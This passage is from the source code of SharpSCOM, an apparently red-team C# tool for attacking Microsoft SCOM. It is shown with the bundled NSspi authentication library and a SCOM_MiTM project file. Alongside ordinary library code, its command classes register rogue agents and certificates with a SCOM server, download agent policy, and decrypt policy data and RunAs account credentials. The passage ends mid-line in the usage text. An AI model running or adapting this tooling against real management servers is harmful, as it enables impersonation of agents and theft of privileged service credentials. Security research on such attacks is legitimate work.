CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 15 | -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/AuthData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace NSspi.Credentials 5 | { 6 | /// 7 | /// Provides authentication data in native method calls. 8 | /// 9 | /// 10 | /// Implements the 'SEC_WINNT_AUTH_IDENTITY' structure. See: 11 | /// 12 | /// https://msdn.microsoft.com/en-us/library/windows/desktop/aa380131(v=vs.85).aspx 13 | /// 14 | [StructLayout( LayoutKind.Sequential )] 15 | internal struct NativeAuthData 16 | { 17 | public NativeAuthData( string domain, string username, string password, NativeAuthDataFlag flag ) 18 | { 19 | this.Domain = domain; 20 | this.DomainLength = domain.Length; 21 | 22 | this.User = username; 23 | this.UserLength = username.Length; 24 | 25 | this.Password = password; 26 | this.PasswordLength = password.Length; 27 | 28 | this.Flags = flag; 29 | } 30 | 31 | [MarshalAs( UnmanagedType.LPWStr )] 32 | public string User; 33 | 34 | public int UserLength; 35 | 36 | [MarshalAs( UnmanagedType.LPWStr )] 37 | public string Domain; 38 | 39 | public int DomainLength; 40 | 41 | [MarshalAs( UnmanagedType.LPWStr )] 42 | public string Password; 43 | 44 | public int PasswordLength; 45 | 46 | public NativeAuthDataFlag Flags; 47 | } 48 | 49 | internal enum NativeAuthDataFlag : int 50 | { 51 | Ansi = 1, 52 | 53 | Unicode = 2 54 | } 55 | } -------------------------------------------------------------------------------- /SharpSCOM.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.13.35828.75 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSCOM", "SharpSCOM\SharpSCOM.csproj", "{4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NSspi", "nsspi\NSspi\NSspi.csproj", "{CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {255F568B-6C9E-4F9E-8B5E-919ED0994621} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SharpSCOM/SharpSCOM.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.13.35828.75 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSCOM", "SharpSCOM\SharpSCOM.csproj", "{4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NSspi", "nsspi\NSspi\NSspi.csproj", "{CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {255F568B-6C9E-4F9E-8B5E-919ED0994621} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SharpSCOM/Commands/RegisterCertificate.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Agent; 2 | using SharpSCOM.Cmdline; 3 | using SharpSCOM.Common; 4 | using SharpSCOM.Auth; 5 | using SharpSCOM.Certificate; 6 | using System.Runtime.ConstrainedExecution; 7 | using System; 8 | 9 | namespace SharpSCOM.Commands 10 | { 11 | public class RegisterCertificate : BaseCommand 12 | { 13 | public static string CommandName => "RegisterCertificate"; 14 | public override void Execute(Options.Arguments arguments) 15 | { 16 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port)) 17 | { 18 | // Connect and authenticate 19 | if (!scomClient.Connect()) 20 | { 21 | logger.Error("Failed to connect to server"); 22 | return; 23 | } 24 | 25 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup); 26 | 27 | var generator = new AgentCertificateGenerator(arguments.Hostname); 28 | generator.PrintDetails(); 29 | 30 | byte[] payload = single.GenerateCertificatePayload(generator.SinglePartSerializedCertificate, 1); 31 | byte[] response = scomClient.SendMessage(payload); 32 | 33 | if (response != null) 34 | { 35 | logger.Info("Agent certificate registration response received"); 36 | SSPIMessageParser.ParseAgentRegistrationResponse(response); 37 | } 38 | else 39 | { 40 | logger.Error("No response received from server"); 41 | } 42 | } 43 | } 44 | } 45 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Contexts/ContextQueryAttrib.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi.Contexts 4 | { 5 | /// 6 | /// Defines the types of queries that can be performed with QueryContextAttribute. 7 | /// Each query has a different result buffer. 8 | /// 9 | internal enum ContextQueryAttrib : int 10 | { 11 | /// 12 | /// Queries the buffer size parameters when performing message functions, such 13 | /// as encryption, decryption, signing and signature validation. 14 | /// 15 | /// 16 | /// Results for a query of this type are stored in a Win32 SecPkgContext_Sizes structure. 17 | /// 18 | Sizes = 0, 19 | 20 | /// 21 | /// Queries the context for the name of the user assocated with a security context. 22 | /// 23 | /// 24 | /// Results for a query of this type are stored in a Win32 SecPkgContext_Name structure. 25 | /// 26 | Names = 1, 27 | 28 | /// 29 | /// Queries the name of the authenticating authority for the security context. 30 | /// 31 | /// 32 | /// Results for a query of this type are stored in a Win32 SecPkgContext_Authority structure. 33 | /// 34 | Authority = 6, 35 | 36 | /// 37 | /// Queries the context for it's neogtiated SessionKey 38 | /// 39 | /// 40 | /// Results for a query of this type are stored in a Win32 SecPkgContext_SessionKey structure 41 | /// 42 | SessionKey = 9, 43 | 44 | AccessToken = 13, //not implemented yet but this would be cool 45 | } 46 | } -------------------------------------------------------------------------------- /SharpSCOM/Commands/DecryptPolicy.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using SharpSCOM.Cmdline; 4 | using SharpSCOM.Common; 5 | using SharpSCOM.Crypto; 6 | 7 | namespace SharpSCOM.Commands 8 | { 9 | public class DecryptPolicy : BaseCommand 10 | { 11 | public static string CommandName => "DecryptPolicy"; 12 | 13 | public override void Execute(Options.Arguments arguments) 14 | { 15 | logger.Info("Attempting to decrypt policy data..."); 16 | 17 | byte[] encryptedData = Convert.FromBase64String(arguments.Data); 18 | byte[] decryptedData; 19 | 20 | if (!string.IsNullOrEmpty(arguments.Key)) 21 | { 22 | logger.Info("Using private key from XML"); 23 | decryptedData = PolicyDecryptor.DecryptBytesWithPrivateKey( 24 | encryptedData, 25 | arguments.Key); 26 | } 27 | else 28 | { 29 | logger.Info("Using certificate from store"); 30 | decryptedData = PolicyDecryptor.DecryptBytesWithCertificate( 31 | encryptedData); 32 | } 33 | 34 | if (decryptedData != null) 35 | { 36 | string decryptedText = Encoding.Unicode.GetString(decryptedData); 37 | Console.WriteLine(decryptedText); 38 | 39 | if (!string.IsNullOrEmpty(arguments.Outfile)) 40 | { 41 | System.IO.File.WriteAllText(arguments.Outfile, decryptedText); 42 | logger.Info($"Saved to: {arguments.Outfile}"); 43 | } 44 | } 45 | else 46 | { 47 | logger.Error("Decryption failed"); 48 | } 49 | } 50 | } 51 | } -------------------------------------------------------------------------------- /SharpSCOM/Common/Constants.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpSCOM.Common 4 | { 5 | public static class Constants 6 | { 7 | // Network 8 | public const int DEFAULT_PORT = 5723; 9 | public const string KERBEROS_SPN = "MSOMHSvc"; 10 | 11 | // Certificate 12 | public const string DEFAULT_CERTIFICATE_STORE = "Microsoft Monitoring Agent"; 13 | public const string CERTIFICATE_FRIENDLY_NAME = "Microsoft Monitoring Agent - RunAs Account Encryption"; 14 | public const string CERTIFICATE_OU = "RunAs Account Encryption"; 15 | public const string CERTIFICATE_O = "Microsoft"; 16 | public const int CERTIFICATE_VALIDITY_DAYS = 365; 17 | public const int CERTIFICATE_KEY_SIZE = 2048; 18 | 19 | // Protocol 20 | public const int POLICY_HEADER_SIZE = 143; 21 | public const int DPAPI_ENTROPY_SIZE = 0x400; 22 | } 23 | 24 | public static class Protocol 25 | { 26 | // AP_REQ parsing 27 | public const int AP_REQ_HEADER_OFFSET = 296; 28 | public const int AP_REQ_SIZE_OFFSET = 4; 29 | 30 | // AP_REP parsing 31 | public const int AP_REP_HEADER_OFFSET = 16; 32 | public const int AP_REP_SKIP_BYTES = 4; 33 | 34 | // Kerberos Wrap Token 35 | public const int KERB_WRAP_HEADER_SIZE = 68; 36 | public const int KERB_WRAP_SIZE_OFFSET = 4; 37 | 38 | // Decrypted Wrap Token 39 | public const int DEC_WRAP_HEADER_SIZE = 12; 40 | public const int ZLIB_HEADER_SIZE = 2; 41 | 42 | // Encryption Header 43 | public const int EXPECTED_VERSION_1 = 1; 44 | public const int EXPECTED_VERSION_2 = 2; 45 | public const uint EXPECTED_ALGORITHM_ID = 26128U; 46 | public const uint EXPECTED_MAGIC_NUMBER = 41984U; 47 | } 48 | } -------------------------------------------------------------------------------- /nsspi/NSspi/TimeStamp.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace NSspi 5 | { 6 | /// 7 | /// Represents a Windows API Timestamp structure, which stores time in units of 100 nanosecond 8 | /// ticks, counting from January 1st, year 1601 at 00:00 UTC. Time is stored as a 64-bit value. 9 | /// 10 | [StructLayout( LayoutKind.Sequential )] 11 | public struct TimeStamp 12 | { 13 | /// 14 | /// Returns the calendar date and time corresponding a zero timestamp. 15 | /// 16 | public static readonly DateTime Epoch = new DateTime( 1601, 1, 1, 0, 0, 0, DateTimeKind.Utc ); 17 | 18 | /// 19 | /// Stores the time value. Infinite times are often represented as values near, but not exactly 20 | /// at the maximum signed 64-bit 2's complement value. 21 | /// 22 | private long time; 23 | 24 | /// 25 | /// Converts the TimeStamp to an equivalant DateTime object. If the TimeStamp represents 26 | /// a value larger than DateTime.MaxValue, then DateTime.MaxValue is returned. 27 | /// 28 | /// 29 | public DateTime ToDateTime() 30 | { 31 | ulong test = (ulong)this.time + (ulong)( Epoch.Ticks ); 32 | 33 | // Sometimes the value returned is massive, eg, 0x7fffff154e84ffff, which is a value 34 | // somewhere in the year 30848. This would overflow DateTime, since it peaks at 31-Dec-9999. 35 | // It turns out that this value corresponds to a TimeStamp's maximum value, reduced by my local timezone 36 | // http://stackoverflow.com/questions/24478056/ 37 | if( test > (ulong)DateTime.MaxValue.Ticks ) 38 | { 39 | return DateTime.MaxValue; 40 | } 41 | else 42 | { 43 | return DateTime.FromFileTimeUtc( this.time ); 44 | } 45 | } 46 | } 47 | } -------------------------------------------------------------------------------- /SharpSCOM/Commands/DownloadPolicy.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Agent; 2 | using SharpSCOM.Cmdline; 3 | using SharpSCOM.Common; 4 | using SharpSCOM.Auth; 5 | using System; 6 | 7 | namespace SharpSCOM.Commands 8 | { 9 | public class DownloadPolicy : BaseCommand 10 | { 11 | public static string CommandName => "DownloadPolicy"; 12 | public override void Execute(Options.Arguments arguments) 13 | { 14 | logger.Info($"Downloading policy..."); 15 | 16 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port)) 17 | { 18 | // Connect and authenticate 19 | if (!scomClient.Connect()) 20 | { 21 | logger.Error("Failed to connect to server"); 22 | return; 23 | } 24 | 25 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup); 26 | byte[] payload = single.GeneratePolicyDownloadPayload(Convert.FromBase64String(arguments.Data), 1); 27 | 28 | byte[] response = scomClient.SendMessage(payload); 29 | 30 | if (response != null) 31 | { 32 | logger.Info("Policy response received"); 33 | SSPIMessageParser.ParseAgentRegistrationResponse(response); 34 | } 35 | else 36 | { 37 | logger.Error("No response received from server"); 38 | } 39 | 40 | byte[] policy_response = KerberosMessageParser.ParseDecWrapToken(response); 41 | 42 | if (!string.IsNullOrEmpty(arguments.Outfile)) 43 | { 44 | DataHandler.WritePolicyToDisk(policy_response, arguments.Outfile); 45 | } 46 | else 47 | { 48 | logger.Info($"Policy received: {policy_response.Length} bytes"); 49 | } 50 | 51 | logger.Info("Completed"); 52 | } 53 | } 54 | } 55 | } -------------------------------------------------------------------------------- /SharpSCOM/Compression/Compression.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO.Compression; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpSCOM.Compression 10 | { 11 | class Compression 12 | { 13 | public static byte[] CompressZlib(byte[] data) 14 | { 15 | // Step 1: Compute Adler-32 checksum of the uncompressed data 16 | uint adler32 = ComputeAdler32(data); 17 | 18 | using (MemoryStream outputStream = new MemoryStream()) 19 | { 20 | // Step 2: Write Zlib header 21 | byte cmf = 0x78; // Compression method 8 (Deflate), 32K window 22 | byte flg = 0x9C; // Default compression level, ensures (CMF * 256 + FLG) % 31 == 0 23 | outputStream.WriteByte(cmf); 24 | outputStream.WriteByte(flg); 25 | 26 | // Step 3: Compress the data with Deflate 27 | using (DeflateStream deflateStream = new DeflateStream(outputStream, CompressionMode.Compress, leaveOpen: true)) 28 | { 29 | deflateStream.Write(data, 0, data.Length); 30 | } 31 | 32 | // Step 4: Append Adler-32 checksum (big-endian) 33 | byte[] checksumBytes = BitConverter.GetBytes(adler32); 34 | if (BitConverter.IsLittleEndian) 35 | Array.Reverse(checksumBytes); // Convert to big-endian 36 | outputStream.Write(checksumBytes, 0, 4); 37 | 38 | return outputStream.ToArray(); 39 | } 40 | } 41 | 42 | private static uint ComputeAdler32(byte[] data) 43 | { 44 | const uint MOD_ADLER = 65521; 45 | uint s1 = 1; // Initial value 46 | uint s2 = 0; 47 | 48 | foreach (byte b in data) 49 | { 50 | s1 = (s1 + b) % MOD_ADLER; 51 | s2 = (s2 + s1) % MOD_ADLER; 52 | } 53 | 54 | return (s2 << 16) | s1; 55 | } 56 | } 57 | } 58 | 59 | -------------------------------------------------------------------------------- /nsspi/NSspi/SecureBuffer/SecureBufferType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi.Buffers 4 | { 5 | /// 6 | /// Describes the type and purpose of a secure buffer passed to the native API. 7 | /// 8 | internal enum BufferType : int 9 | { 10 | /// 11 | /// The buffer is empty. 12 | /// 13 | Empty = 0x00, 14 | 15 | /// 16 | /// The buffer contains message data. Message data can be plaintext or cipher text data. 17 | /// 18 | Data = 0x01, 19 | 20 | /// 21 | /// The buffer contains opaque authentication token data. 22 | /// 23 | Token = 0x02, 24 | 25 | /// 26 | /// The buffer contains parameters specific to the security package. 27 | /// 28 | Parameters = 0x03, 29 | 30 | /// 31 | /// The buffer placeholder indicating that some data is missing. 32 | /// 33 | Missing = 0x04, 34 | 35 | /// 36 | /// The buffer passed to an API call contained more data than was necessary for completing the action, 37 | /// such as the case when a streaming-mode connection that does not preserve message bounders, such as TCP 38 | /// is used as the transport. The extra data is returned back to the caller in a buffer of this type. 39 | /// 40 | Extra = 0x05, 41 | 42 | /// 43 | /// The buffer contains a security data trailer, such as a message signature or marker, or framing data. 44 | /// 45 | Trailer = 0x06, 46 | 47 | /// 48 | /// The buffer contains a security data header, such as a message signature, marker, or framing data. 49 | /// 50 | Header = 0x07, 51 | 52 | Padding = 0x09, 53 | Stream = 0x0A, 54 | ChannelBindings = 0x0E, 55 | TargetHost = 0x10, 56 | ReadOnlyFlag = unchecked((int)0x80000000), 57 | ReadOnlyWithChecksum = 0x10000000 58 | } 59 | } -------------------------------------------------------------------------------- /SharpSCOM/Cmdline/CommandCollection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using SharpSCOM.Commands; 4 | 5 | namespace SharpSCOM.Cmdline 6 | { 7 | public class CommandCollection 8 | { 9 | private readonly Dictionary> _availableCommands = 10 | new Dictionary>(StringComparer.OrdinalIgnoreCase); 11 | 12 | public CommandCollection() 13 | { 14 | _availableCommands.Add(RegisterAgent.CommandName, () => new RegisterAgent()); 15 | _availableCommands.Add(RegisterCertificate.CommandName, () => new RegisterCertificate()); 16 | _availableCommands.Add(RequestPolicy.CommandName, () => new RequestPolicy()); 17 | _availableCommands.Add(DownloadPolicy.CommandName, () => new DownloadPolicy()); 18 | _availableCommands.Add(DecryptPolicy.CommandName, () => new DecryptPolicy()); 19 | _availableCommands.Add(DecryptRunAs.CommandName, () => new DecryptRunAs()); 20 | _availableCommands.Add(AutoEnroll.CommandName, () => new AutoEnroll()); 21 | } 22 | 23 | public bool ExecuteCommand(string commandName, Cmdline.Options.Arguments arguments) 24 | { 25 | bool commandWasFound; 26 | 27 | if (string.IsNullOrEmpty(commandName) || !_availableCommands.ContainsKey(commandName)) 28 | { 29 | commandWasFound = false; 30 | } 31 | else 32 | { 33 | // Create the command object 34 | var command = _availableCommands[commandName].Invoke(); 35 | 36 | // and execute it with the arguments from the command line 37 | command.Execute(arguments); 38 | 39 | commandWasFound = true; 40 | } 41 | 42 | return commandWasFound; 43 | } 44 | 45 | public IEnumerable GetAvailableCommands() 46 | { 47 | return _availableCommands.Keys; 48 | } 49 | public bool IsValidCommand(string commandName) 50 | { 51 | return !string.IsNullOrEmpty(commandName) && 52 | _availableCommands.ContainsKey(commandName); 53 | } 54 | } 55 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/CurrentCredential.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.CompilerServices; 3 | 4 | namespace NSspi.Credentials 5 | { 6 | /// 7 | /// Acquires a handle to the credentials of the user associated with the current process. 8 | /// 9 | public class CurrentCredential : Credential 10 | { 11 | /// 12 | /// Initializes a new instance of the CurrentCredential class. 13 | /// 14 | /// The security package to acquire the credential handle 15 | /// from. 16 | /// The manner in which the credentials will be used - Inbound typically 17 | /// represents servers, outbound typically represent clients. 18 | public CurrentCredential( string securityPackage, CredentialUse use ) : 19 | base( securityPackage ) 20 | { 21 | Init( use ); 22 | } 23 | 24 | private void Init( CredentialUse use ) 25 | { 26 | string packageName; 27 | TimeStamp rawExpiry = new TimeStamp(); 28 | SecurityStatus status = SecurityStatus.InternalError; 29 | 30 | // -- Package -- 31 | // Copy off for the call, since this.SecurityPackage is a property. 32 | packageName = this.SecurityPackage; 33 | 34 | this.Handle = new SafeCredentialHandle(); 35 | 36 | // The finally clause is the actual constrained region. The VM pre-allocates any stack space, 37 | // performs any allocations it needs to prepare methods for execution, and postpones any 38 | // instances of the 'uncatchable' exceptions (ThreadAbort, StackOverflow, OutOfMemory). 39 | RuntimeHelpers.PrepareConstrainedRegions(); 40 | try { } 41 | finally 42 | { 43 | status = CredentialNativeMethods.AcquireCredentialsHandle( 44 | null, 45 | packageName, 46 | use, 47 | IntPtr.Zero, 48 | IntPtr.Zero, 49 | IntPtr.Zero, 50 | IntPtr.Zero, 51 | ref this.Handle.rawHandle, 52 | ref rawExpiry 53 | ); 54 | } 55 | 56 | if( status != SecurityStatus.OK ) 57 | { 58 | throw new SSPIException( "Failed to call AcquireCredentialHandle", status ); 59 | } 60 | 61 | this.Expiry = rawExpiry.ToDateTime(); 62 | } 63 | } 64 | } -------------------------------------------------------------------------------- /SCOM_MiTM/SCOM_MiTM.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {8E7C0DAB-DAC6-4103-9459-EDEB32B54248} 8 | Exe 9 | SCOM_MiTM 10 | SCOM_MiTM 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | ..\NSspi\bin\Release\netstandard2.0\NSspi.dll 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /nsspi/NSspi/SSPIException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.Serialization; 3 | 4 | namespace NSspi 5 | { 6 | /// 7 | /// The exception that is thrown when a problem occurs hwen using the SSPI system. 8 | /// 9 | [Serializable] 10 | public class SSPIException : Exception 11 | { 12 | private SecurityStatus errorCode; 13 | private string message; 14 | 15 | /// 16 | /// Initializes a new instance of the SSPIException class with the given message and status. 17 | /// 18 | /// A message explaining what part of the system failed. 19 | /// The error code observed during the failure. 20 | public SSPIException( string message, SecurityStatus errorCode ) 21 | { 22 | this.message = message; 23 | this.errorCode = errorCode; 24 | } 25 | 26 | /// 27 | /// Initializes a new instance of the SSPIException class from serialization data. 28 | /// 29 | /// 30 | /// 31 | protected SSPIException( SerializationInfo info, StreamingContext context ) 32 | : base( info, context ) 33 | { 34 | this.message = info.GetString( "message" ); 35 | this.errorCode = (SecurityStatus)info.GetUInt32( "errorCode" ); 36 | } 37 | 38 | /// 39 | /// Serializes the exception. 40 | /// 41 | /// 42 | /// 43 | public override void GetObjectData( SerializationInfo info, StreamingContext context ) 44 | { 45 | base.GetObjectData( info, context ); 46 | 47 | info.AddValue( "message", this.message ); 48 | info.AddValue( "errorCode", this.errorCode ); 49 | } 50 | 51 | /// 52 | /// The error code that was observed during the SSPI call. 53 | /// 54 | public SecurityStatus ErrorCode 55 | { 56 | get 57 | { 58 | return this.errorCode; 59 | } 60 | } 61 | 62 | /// 63 | /// A human-readable message indicating the nature of the exception. 64 | /// 65 | public override string Message 66 | { 67 | get 68 | { 69 | return string.Format( 70 | "{0}. Error Code = '0x{1:X}' - \"{2}\".", 71 | this.message, 72 | this.errorCode, 73 | EnumMgr.ToText( this.errorCode ) 74 | ); 75 | } 76 | } 77 | } 78 | } -------------------------------------------------------------------------------- /SCOMClient/SCOMClient.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {49020C38-EE98-4FB2-9E42-DD0F216D8183} 8 | Exe 9 | SCOMClient 10 | SCOMClient 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | true 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | 38 | ..\SCOM_MiTM\bin\Release\NSspi.dll 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/CredentialNativeMethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.ConstrainedExecution; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace NSspi.Credentials 6 | { 7 | internal static class CredentialNativeMethods 8 | { 9 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.MayFail )] 10 | [DllImport( "Secur32.dll", EntryPoint = "AcquireCredentialsHandle", CharSet = CharSet.Unicode )] 11 | internal static extern SecurityStatus AcquireCredentialsHandle( 12 | string principleName, 13 | string packageName, 14 | CredentialUse credentialUse, 15 | IntPtr loginId, 16 | IntPtr packageData, 17 | IntPtr getKeyFunc, 18 | IntPtr getKeyData, 19 | ref RawSspiHandle credentialHandle, 20 | ref TimeStamp expiry 21 | ); 22 | 23 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.MayFail )] 24 | [DllImport( "Secur32.dll", EntryPoint = "AcquireCredentialsHandle", CharSet = CharSet.Unicode )] 25 | internal static extern SecurityStatus AcquireCredentialsHandle_AuthData( 26 | string principleName, 27 | string packageName, 28 | CredentialUse credentialUse, 29 | IntPtr loginId, 30 | ref NativeAuthData authData, 31 | IntPtr getKeyFunc, 32 | IntPtr getKeyData, 33 | ref RawSspiHandle credentialHandle, 34 | ref TimeStamp expiry 35 | ); 36 | 37 | 38 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 39 | [DllImport( "Secur32.dll", EntryPoint = "FreeCredentialsHandle", CharSet = CharSet.Unicode )] 40 | internal static extern SecurityStatus FreeCredentialsHandle( 41 | ref RawSspiHandle credentialHandle 42 | ); 43 | 44 | /// 45 | /// The overload of the QueryCredentialsAttribute method that is used for querying the name attribute. 46 | /// In this call, it takes a void* to a structure that contains a wide char pointer. The wide character 47 | /// pointer is allocated by the SSPI api, and thus needs to be released by a call to FreeContextBuffer(). 48 | /// 49 | /// 50 | /// 51 | /// 52 | /// 53 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 54 | [DllImport( "Secur32.dll", EntryPoint = "QueryCredentialsAttributes", CharSet = CharSet.Unicode )] 55 | internal static extern SecurityStatus QueryCredentialsAttribute_Name( 56 | ref RawSspiHandle credentialHandle, 57 | CredentialQueryAttrib attributeName, 58 | ref QueryNameAttribCarrier name 59 | ); 60 | } 61 | } -------------------------------------------------------------------------------- /SharpSCOM/Cmdline/Info.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpSCOM.Cmdline 8 | { 9 | class Info 10 | { 11 | public static void ShowLogo() 12 | { 13 | string logo = @" 14 | █▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█ 15 | ▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █ "; 16 | Console.WriteLine(logo); 17 | Console.WriteLine("\nAuthor: Matt Johnson (@breakfix) - SpecterOps - v0.0.1\r\n"); 18 | } 19 | 20 | public static void ShowUsage() 21 | { 22 | Console.WriteLine("Usage: SharpSCOM [options]\n"); 23 | Console.WriteLine("Commands:"); 24 | Console.WriteLine(" RegisterAgent Register a new agent with SCOM server"); 25 | Console.WriteLine(" RegisterCertificate Assign a certificate to an existing agent"); 26 | Console.WriteLine(" RequestPolicy Request policy from SCOM server"); 27 | Console.WriteLine(" DownloadPolicy Download policy from SCOM server"); 28 | Console.WriteLine(" AutoEnroll Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy"); 29 | Console.WriteLine(" DecryptPolicy 